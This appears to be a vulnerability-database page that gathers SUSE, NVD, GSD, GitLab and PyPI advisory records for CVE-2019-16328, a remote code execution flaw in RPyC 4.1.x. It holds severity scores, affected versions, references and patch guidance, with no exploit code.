"product_id": "python2-rpyc-4.1.5-lp151.3.3.1.noarch"
}
},
{
"category": "product_version",
"name": "python3-rpyc-4.1.5-lp151.3.3.1.noarch",
"product": {
"name": "python3-rpyc-4.1.5-lp151.3.3.1.noarch",
"product_id": "python3-rpyc-4.1.5-lp151.3.3.1.noarch"
}
}
],
"category": "architecture",
"name": "noarch"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Leap 15.1",
"product": {
"name": "openSUSE Leap 15.1",
"product_id": "openSUSE Leap 15.1",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:leap:15.1"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python2-rpyc-4.1.5-lp151.3.3.1.noarch as component of openSUSE Leap 15.1",
"product_id": "openSUSE Leap 15.1:python2-rpyc-4.1.5-lp151.3.3.1.noarch"
},
"product_reference": "python2-rpyc-4.1.5-lp151.3.3.1.noarch",
"relates_to_product_reference": "openSUSE Leap 15.1"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python3-rpyc-4.1.5-lp151.3.3.1.noarch as component of openSUSE Leap 15.1",
"product_id": "openSUSE Leap 15.1:python3-rpyc-4.1.5-lp151.3.3.1.noarch"
},
"product_reference": "python3-rpyc-4.1.5-lp151.3.3.1.noarch",
"relates_to_product_reference": "openSUSE Leap 15.1"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2019-16328",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2019-16328"
}
],
"notes": [
{
"category": "general",
"text": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Leap 15.1:python2-rpyc-4.1.5-lp151.3.3.1.noarch",
"openSUSE Leap 15.1:python3-rpyc-4.1.5-lp151.3.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2019-16328",
"url": "https://www.suse.com/security/cve/CVE-2019-16328"
},
{
"category": "external",
"summary": "SUSE Bug 1152987 for CVE-2019-16328",
"url": "https://bugzilla.suse.com/1152987"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Leap 15.1:python2-rpyc-4.1.5-lp151.3.3.1.noarch",
"openSUSE Leap 15.1:python3-rpyc-4.1.5-lp151.3.3.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Leap 15.1:python2-rpyc-4.1.5-lp151.3.3.1.noarch",
"openSUSE Leap 15.1:python3-rpyc-4.1.5-lp151.3.3.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2020-05-22T16:17:42Z",
"details": "important"
}
],
"title": "CVE-2019-16328"
}
]
}
FKIE_CVE-2019-16328
Vulnerability from fkie_nvd - Published: 2019-10-03 20:15 - Updated: 2024-11-21 04:30
Severity ?
Summary
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
References
| URL | Tags | ||
|---|---|---|---|
| cve@mitre.org | http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html | Broken Link | |
| cve@mitre.org | http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html | Broken Link | |
| cve@mitre.org | https://github.com/tomerfiliba/rpyc | Product, Third Party Advisory | |
| cve@mitre.org | https://rpyc.readthedocs.io/en/latest/docs/security.html | Exploit, Vendor Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html | Broken Link | |
| af854a3a-2127-422b-91ae-364da2661108 | http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html | Broken Link | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/tomerfiliba/rpyc | Product, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://rpyc.readthedocs.io/en/latest/docs/security.html | Exploit, Vendor Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| rpyc_project | rpyc | * |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:rpyc_project:rpyc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "8B97BD79-C06E-4CC6-B558-088E026C13BE",
"versionEndIncluding": "4.1.1",
"versionStartIncluding": "4.1.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings."
},
{
"lang": "es",
"value": "En RPyC versiones 4.1.x hasta 4.1.1, un atacante remoto puede modificar din\u00e1micamente los atributos de objeto para construir una llamada a un procedimiento remoto que ejecute c\u00f3digo para un servicio de RPyC con el establecimiento de la configuraci\u00f3n predeterminada."
}
],
"id": "CVE-2019-16328",
"lastModified": "2024-11-21T04:30:31.787",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-10-03T20:15:10.260",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Broken Link"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Broken Link"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Broken Link"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Broken Link"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-1321"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
GSD-2019-16328
Vulnerability from gsd - Updated: 2023-12-13 01:23Details
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
Aliases
Aliases
{
"GSD": {
"alias": "CVE-2019-16328",
"description": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
"id": "GSD-2019-16328",
"references": [
"https://www.suse.com/security/cve/CVE-2019-16328.html"
]
},
"gsd": {
"metadata": {
"exploitCode": "unknown",
"remediation": "unknown",
"reportConfidence": "confirmed",
"type": "vulnerability"
},
"osvSchema": {
"aliases": [
"CVE-2019-16328"
],
"details": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
"id": "GSD-2019-16328",
"modified": "2023-12-13T01:23:40.546718Z",
"schema_version": "1.4.0"
}
},
"namespaces": {
"cve.org": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2019-16328",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/tomerfiliba/rpyc",
"refsource": "MISC",
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"name": "https://rpyc.readthedocs.io/en/latest/docs/security.html",
"refsource": "MISC",
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"name": "openSUSE-SU-2020:0685",
"refsource": "SUSE",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"name": "openSUSE-SU-2020:0763",
"refsource": "SUSE",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
}
]
},
"source": {
"discovery": "INTERNAL"
}
},
"gitlab.com": {
"advisories": [
{
"affected_range": "==4.1.0",
"affected_versions": "Version 4.1.0",
"cvss_v2": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
"cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cwe_ids": [
"CWE-1035",
"CWE-78",
"CWE-915",
"CWE-937"
],
"date": "2021-09-27",
"description": "In RPyC, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
"fixed_versions": [
"4.1.1"
],
"identifier": "CVE-2019-16328",
"identifiers": [
"GHSA-pj4g-4488-wmxm",
"CVE-2019-16328"
],
"not_impacted": "All versions before 4.1.0, all versions after 4.1.0",
"package_slug": "pypi/rpyc",
"pubdate": "2021-02-17",
"solution": "Upgrade to version 4.1.1 or above.",
"title": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"urls": [
"https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm",
"https://github.com/advisories/GHSA-pj4g-4488-wmxm"
],
"uuid": "9605a579-6d55-4d8c-9675-f2801c7e8fec"
}
]
},
"nvd.nist.gov": {
"configurations": {
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:rpyc_project:rpyc:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "4.1.1",
"versionStartIncluding": "4.1.0",
"vulnerable": true
}
],
"operator": "OR"
}
]
},
"cve": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2019-16328"
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "en",
"value": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "en",
"value": "CWE-1321"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://rpyc.readthedocs.io/en/latest/docs/security.html",
"refsource": "MISC",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"name": "https://github.com/tomerfiliba/rpyc",
"refsource": "MISC",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"name": "openSUSE-SU-2020:0685",
"refsource": "SUSE",
"tags": [
"Broken Link"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"name": "openSUSE-SU-2020:0763",
"refsource": "SUSE",
"tags": [
"Broken Link"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
}
]
}
},
"impact": {
"baseMetricV2": {
"acInsufInfo": false,
"cvssV2": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"userInteractionRequired": false
},
"baseMetricV3": {
"cvssV3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6
}
},
"lastModifiedDate": "2022-12-02T19:24Z",
"publishedDate": "2019-10-03T20:15Z"
}
}
}
PYSEC-2019-118
Vulnerability from pysec - Published: 2019-10-03 20:15 - Updated: 2020-08-24 17:37
VLAI?
Details
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
Impacted products
| Name | purl | rpyc | pkg:pypi/rpyc |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "rpyc",
"purl": "pkg:pypi/rpyc"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.1.0",
"4.1.1"
]
}
],
"aliases": [
"CVE-2019-16328",
"GHSA-9ggp-4jpr-7ppj",
"GHSA-pj4g-4488-wmxm"
],
"details": "In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.",
"id": "PYSEC-2019-118",
"modified": "2020-08-24T17:37:00Z",
"published": "2019-10-03T20:15:00Z",
"references": [
{
"type": "WEB",
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"type": "WEB",
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9ggp-4jpr-7ppj"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-pj4g-4488-wmxm"
}
]
}
Loading…
Show additional events:
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…